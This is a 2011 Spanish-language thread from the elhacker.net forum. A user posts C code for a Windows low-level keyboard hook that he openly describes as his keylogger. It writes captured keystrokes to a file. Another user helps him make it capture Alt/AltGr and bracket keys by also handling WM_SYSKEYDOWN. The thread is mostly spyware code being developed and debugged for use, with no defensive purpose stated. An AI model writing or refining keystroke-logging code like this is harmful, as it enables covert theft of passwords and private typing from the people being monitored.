Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: yovaninu en 13 Agosto 2011, 06:19 am



Título: [SOLUCIONADO] Problema con ALTGR (Keylogger)
Publicado por: yovaninu en 13 Agosto 2011, 06:19 am
Hola amigos:

Estoy haciendo un hook al teclado y al tratar de capturar los corchetes mi codigo no lo hace, tampoco detecta el ALT-Izquierdo ni el ALT-Derecho.

Al menos en mi teclado, el corchete de apertura esta asi:
[`^ todo eso en una tecla (el corchete de apertura sale al presionar ALTGR+la tecla esa)
+*] todo eso en una tecla (el corchete de cierre sale al presionar ALTGR+la tecla esa)


tengo lo siguiente:
Código
  1. LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {
  2.  
  3. PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
  4. DWORD Tecla = puntero->vkCode;
  5.  
  6. if (wParam == WM_KEYDOWN) {
  7.  
  8. switch (puntero->vkCode) {
  9. case VK_RETURN: fputs("\n",f);      break;  //ENTER DETECTADO
  10. case VK_LMENU: fputs(" [AltI] ",f);  break;  //¿POR QUE NO DETECTA ESTA TECLA?
  11. case VK_RMENU: fputs(" [AltD] ",f);  break;  //¿POR QUE NO DETECTA ESTA OTRA TECLA?
  12.  
  13. case VK_RIGHT: fputs("[D]",f);    break; //la tecla flecha derecha. OK
  14. case VK_DOWN: fputs("[D]",f);    break; //la tecla flecha abajo. OK
  15. case VK_DELETE: fputs("[S]",f);    break; //la tecla suprimir
  16.  
  17.  
  18. //capturamos las teclas normales
  19. default:
  20.  
  21. if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
  22. if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){
  23.  
  24. puntero->vkCode+=32; // a minusculas
  25. fputc(puntero->vkCode,f);
  26. }else{  
  27. fputc(puntero->vkCode,f);
  28. }
  29.  
  30. }
  31. if (Tecla==VK_SPACE){ //espacio en blanco
  32. fputs(" ",f);
  33. }
  34.  
  35. if (Tecla==190){ //detecta correctamente el punto y los dos puntos
  36.  if (!(GetAsyncKeyState(VK_SHIFT)))
  37. fputs(".",f); //punto
  38.  else
  39. fputs(":",f); //dos puntos
  40. }
  41.  
  42. if (Tecla==188){ //coma y punto y coma. OK
  43.  if (!(GetAsyncKeyState(VK_SHIFT)))
  44. fputs(",",f);
  45.  else
  46.  fputs(";",f);
  47. }
  48.  
  49. if (Tecla==189){ //guion y sub guion. OK
  50.  if (!(GetAsyncKeyState(VK_SHIFT)))
  51. fputs("-",f); //
  52.  else
  53.  fputs("_",f); //
  54. }
  55.  
  56.  
  57.  
  58. /*ESTE ES EL CODIGO QUE NO TRABAJA, EL PROGRAMA EJECUTA PERO POR
  59. ALGUNA RAZON NO PUEDE CAPTURAR NI EL ALTGR NI EL CORCHETE DE APERTURA*/
  60.  
  61. if (Tecla==186){ //ERROR ¿POR QUE NO DETECTA LA TECLA DONDE ESTA MI CORCHETE DE APERTURA?
  62. if ((GetAsyncKeyState(VK_SHIFT))){ //si esta presionado SHIFT
  63.  if (!GetAsyncKeyState(165)) //si no esta presionado ALTGR
  64.    fputs("`",f); //
  65. }
  66.  else
  67.  if (GetAsyncKeyState(165)) //si esta presionado ALTGR
  68.    fputs("[",f); //corchete capturado <-- pero no funciona
  69.  else
  70.  fputs("^",f);
  71.  
  72.  
  73. }
  74. [/color]
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82. }
  83. }    
  84.   return CallNextHookEx(NULL, nCode, wParam, lParam);
  85. }
  86.  
  87.  

He probado con VK_OEM_4 pero tampoco.
¿Alguna sugerencia?.



Título: Re: Problema con ALTGR (Keylogger)
Publicado por: Queta en 13 Agosto 2011, 13:04 pm
Estás utilizando WM_KEYDOWN y como consecuencia:

Citar
Posted to the window with the keyboard focus when a nonsystem key is pressed. A nonsystem key is a key that is pressed when the ALT key is not pressed.

http://msdn.microsoft.com/en-us/library/ms646280.aspx (http://msdn.microsoft.com/en-us/library/ms646280.aspx)

Una posible solución sería utilizar WM_SYSKEYDOWN:

http://msdn.microsoft.com/en-us/library/ms646286.aspx (http://msdn.microsoft.com/en-us/library/ms646286.aspx)


Título: Re: Problema con ALTGR (Keylogger)
Publicado por: yovaninu en 13 Agosto 2011, 15:42 pm
Estás utilizando WM_KEYDOWN y como consecuencia:

http://msdn.microsoft.com/en-us/library/ms646280.aspx (http://msdn.microsoft.com/en-us/library/ms646280.aspx)

Una posible solución sería utilizar WM_SYSKEYDOWN:

http://msdn.microsoft.com/en-us/library/ms646286.aspx (http://msdn.microsoft.com/en-us/library/ms646286.aspx)


En efecto, he cambiado la linea
Código
  1. if (wParam == WM_KEYDOWN)
  2.  
por
Código
  1. if (wParam == WM_KEYDOWN ||  wParam == WM_SYSKEYDOWN)
  2.  
para que tambien reconozca dicho mensaje.

Y ha detectado todo corréctamente. espero que dicho cambio no altere la funcionalidad de mi keylogger.

Saludos y gracias Queta


Título: Re: [SOLUCIONADO] Problema con ALTGR (Keylogger)
Publicado por: Queta en 13 Agosto 2011, 22:01 pm
De nada. A propósito, estás utilizando el "método" LowLevelKeyboardProc. No sé si habrás leído la documentación en la MSDN (http://msdn.microsoft.com/en-us/library/ms644985.aspx (http://msdn.microsoft.com/en-us/library/ms644985.aspx)) pero recomiendan que compruebes el primer parámetro:

Citar
A code the hook procedure uses to determine how to process the message. If nCode is less than zero, the hook procedure must pass the message to the CallNextHookEx function without further processing and should return the value returned by CallNextHookEx. This parameter can be one of the following values.